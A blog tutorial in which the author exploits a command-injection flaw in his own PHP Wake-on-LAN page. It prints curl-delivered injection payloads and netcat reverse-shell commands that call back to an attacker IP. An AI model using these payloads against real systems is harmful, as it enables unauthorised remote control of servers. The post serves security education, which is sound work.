Two years ago, I wrote a simple PHP web page that can be used the remotely power on computers enabled for WOL (Wake on Lan) on the same subnet as the web server, available here on GitHub.
When I wrote this, I knew it wasn’t bound to be incredibly secure. I even put in a warning in the header not to make it internet-accessible, and now I’m going to show you why that warning was warranted! We’re going to pop my server running this site wide open to show just how hackable the simplest mistakes/laziness on a developer’s part can be.
The server is running on an installation of Ubuntu 14.04.
It’s made with some basic HTML, CSS, and PHP with a couple forms, “dropdown” and “password” that are sent back to the same file via HTTP POST when the “submit” button is pressed, highlighted below:
The first form, “dropdown” is of type “select” which means you get to select one of the options below it, each with a value. The first option to this form, “[none]”, has no value, and the second, “Scott’s PC”, has a value of “BC:5F:F4:3B:3E:9A”, my MAC address.
The second form, “password”, is of type “password”, meaning it shows up as a text box the user can type into, as you can see in this screenshot.
The PHP script reads the content of these two forms (again, “dropdown” and “password”), sets their values into variables ($mac and $password):
The script then makes sure the password is correct (using a really bad method, it should instead use hashing with many iterations to verify, but I digress), then uses an exec() statement to execute the “wakeonlan” command on the server, with the value of $mac being fed into the command to specify which destination is to be remotely powered on.
Now, the vital key component is the fact that the exec() statement reads in user input from the value of “dropdown” and executes code on the system based on this input. Assuming the value of $mac (again, fed from the “dropdown” form) is a MAC address, the server would do this:
But, if we can manage to set the value of $mac to something nasty, we can make it do something like this:
exec(“wakeonlan AB:CD:EF:GH:IJ:KL; cat /etc/password”);
All we need to do is add in a semicolon, a space, then whatever command we want (above ex. “cat /etc/passwd”) into the value of $mac and the server will finish the first command, then do what we want!
There are a few catches, though. Firstly, the server doesn’t read back the result of the exec() command to the user, so we can’t directly see what it does. Secondly, they’d need to know the page’s password, but many people are bound to leave it at “password.” And if not, if an attacker could get between the user and the server, it’d be possible to capture the correct credentials, which are not encrypted unless the site is running HTTPS.
To get our intended code into the server, we just need to modify the value of “dropdown” that’s sent over. A novice might think that the user can only send over whatever values can be selected in the “Select Computer” dropdown menu. But with a tool or two, we can send over something custom!
Doing a packet capture with Wireshark on a system clicking the “submit” button on the site with “Scott’s Computer” selected from the drop-down, we see the following using the Analyze -> Follow TCP Stream feature:
The red is the request sent over, and the blue is the response from the server with the body encoded. But we don’t need to worry about the response, we’re only interested in how our values are sent over. Pay particular attention to the bottom red line:
It looks a tad funky from URL encoding, but it contains the values of the “dropdown” and “password” fields the client sent over! And, as I explained, the value of “dropdown” is fed into the exec() statement, so all we need to do is plop our nasty code on the end of it!
This form data is sent over as a POST, meaning the value is sent in the body of the HTTP request from the client in that bottom red line. If it used GET, the values would be sent over in the URL, like this:
Which would be super easy to exploit. But, it’s using POST, so we need to somehow replace these values in the body of the request.
First, I decode the bottom red line to make it neater with a tool called CyberChef. I just use the “Decode URL” function, and this is what I get:
This line contains the values of “dropdown” and “password”, separated with a &. I just need to add my shellcode to the end of the value corresponding to “dropdown.” Let’s just make it ping my computer for now, adding a semicolon and the “ping” command:
dropdown=BC:5F:F4:3B:3E:9A; ping 172.16.0.11&password=password
But, of course, this needs to be URL encoded, so I again use CyberChef to URL encode that so the server likes it:
Now, here comes the tricky part. How to send over a request with this custom “dropdown” form value? You can’t type it into the web browser window, because it’s only a dropdown menu with limited, non-evil options… how about the Linux tool cURL?
curl –data “dropdown=BC:5F:F4:3B:3E:9A;%20ping%20172.16.0.11&password=password” 172.16.0.9/wakelan/wakelan.php
This simple command sends a web request to the server, with the –data flag specifying a custom field that’s used to replace the values of “dropdown” and “password” (remember the bottom red line from earlier – we’re just replacing that, basically). The other fields from that red text wouldn’t be the same as if we were connecting with a web browser, but they don’t matter so much.
So, when I run tcpdump on my attacker system listening for incoming ping requests and then enter that cURL command, I get pings back! The server is obeying my command!
This is a working exploit! But we can have more fun than that, can’t we?
Let’s have the server start a shell session (bash) on the server with its input and output to/from this shell session sent over the network, using Netcat, so my attacker system can remote-control the shell session. All I need to do is start a listener on my attacker system on pretty much any port I want (I chose 4444, naturally)
nc -lvp 4444
Then have the server execute the following command:
nc 172.16.0.11 4444 -e /bin/bash
This command tells it to start a netcat session back to my attacker machine (172.16.0.11) on port 4444, and also start a BASH shell with the input/output of this shell tied to that network connection so I can remote-control it.
However, there’s different versions of netcat. The BSD version, which comes by default on Debian, doesn’t support the -e option we used earlier to tie the BASH session to the netcat connection. So, you can instead use the following command, which will use two netcat connections from your attacking machine: One for shell input, one for output. Ultimately, on your attacker machine, you’ll type input in one window and receive the command output on the other. Not as neat, but it works if you need it to (just replace the IPs/ports with your own, of course):
nc 172.16.0.11 4444 | /bin/bash | nc 172.16.0.11 4445
So, to make the server execute it the netcat command, I just plop this command into the custom field after the MAC address:
dropdown=BC:5F:F4:3B:3E:9A; nc 172.16.0.11 4444 -e /bin/bash&password=password
Then URL-encode it so it looks like this:
Then send this field over using cURL like I did with the ping command:
curl –data “dropdown=BC:5F:F4:3B:3E:9A;%20nc%20172.16.0.11%204444%20-e%20/bin/bash&password=password” 172.16.0.9/wakelan/wakelan.php
I then get a reverse shell back! I can now type in whatever commands I want from the attacker system, and the server executes it. It’s as if I’m sitting at the logged-in terminal of the server!
Above, you can see me executing “whoami” and “ls -l” on the server. But there’s a couple things to understand here: first, this shell session is running as the same user that runs the web server (www-data), because that web server invoked the command like I told it to. www-data is an unprivileged user, but all it takes is for a victim to be running their web server as a privileged user and I would have complete control of the system. Or, one could perform a privilege escalation on the system, if possible, to gain root access. But don’t get me wrong, being www-data isn’t a bad start. It’s as if I’m physically using the terminal of the system as a normal user.
In the grand scheme of things, this exploit is rather rudimentary, especially for a seasoned penetration tester (which I am, admittedly, not). But at any rate, it’s interesting to see how exploitable the simplest mistakes can be. In this case, the mistake being the failure to sanitize user input before being handed down into the exec() statement in PHP.
As always, please remember to only exploit the property of others with their consent. I am not liable for the actions of others using this information.
Scott Rainville is a recent graduate of Champlain College currently working as a Cybersecurity Analyst/Engineer/purple-teamer. He loves nearly anything to do with computer networking and cybersecurity, from malware analysis to penetration testing.